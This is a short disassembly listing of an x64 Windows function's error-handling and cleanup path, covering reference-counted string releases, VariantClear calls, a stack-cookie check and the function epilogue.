mov r13, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x35e0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x3730]
call fcn.140019070
nop
lea rcx, [rsp + 0x58]
call fcn.140038680
nop
mov bl, 1
jmp 0x140067ce4
lea rdx, str.json_parse_action_not_found
lea rcx, [rsp + 0x390]
call fcn.140003170
nop
lea rdx, [rsp + 0x390]
mov rcx, qword [r14 + 0x40]
call fcn.14005d1c0
nop
mov rcx, qword [rsp + 0x390]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7b0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067c31
mov rdx, qword [rsp + 0x7b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x35f8], 0x10
jb 0x140067c49
mov rcx, qword [rsp + 0x35e0]
call fcn.1400ce2b0
mov qword [rsp + 0x35f8], 0xf
mov qword [rsp + 0x35f0], rdi
mov byte [rsp + 0x35e0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7c0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067c94
mov rdx, qword [rsp + 0x7c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x3730]
call fcn.140019070
nop
lea rcx, [rsp + 0x58]
call fcn.140038680
nop
mov r12d, 1
mov r13, qword [rsp + 0x40]
jmp 0x140067cdb
test bl, bl
jne 0x140067ce4
test rsi, rsi
je 0x140067ce4
mov word [rsi], r12w
mov rdx, qword [r13]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], r15d
dec r15d
jg 0x140067d01
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
movzx eax, bl
mov rcx, qword [rsp + 0x3c50]
xor rcx, rsp
call fcn.1400ce2d0
movaps xmm6, xmmword [rsp + 0x3c60]
add rsp, 0x3c70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret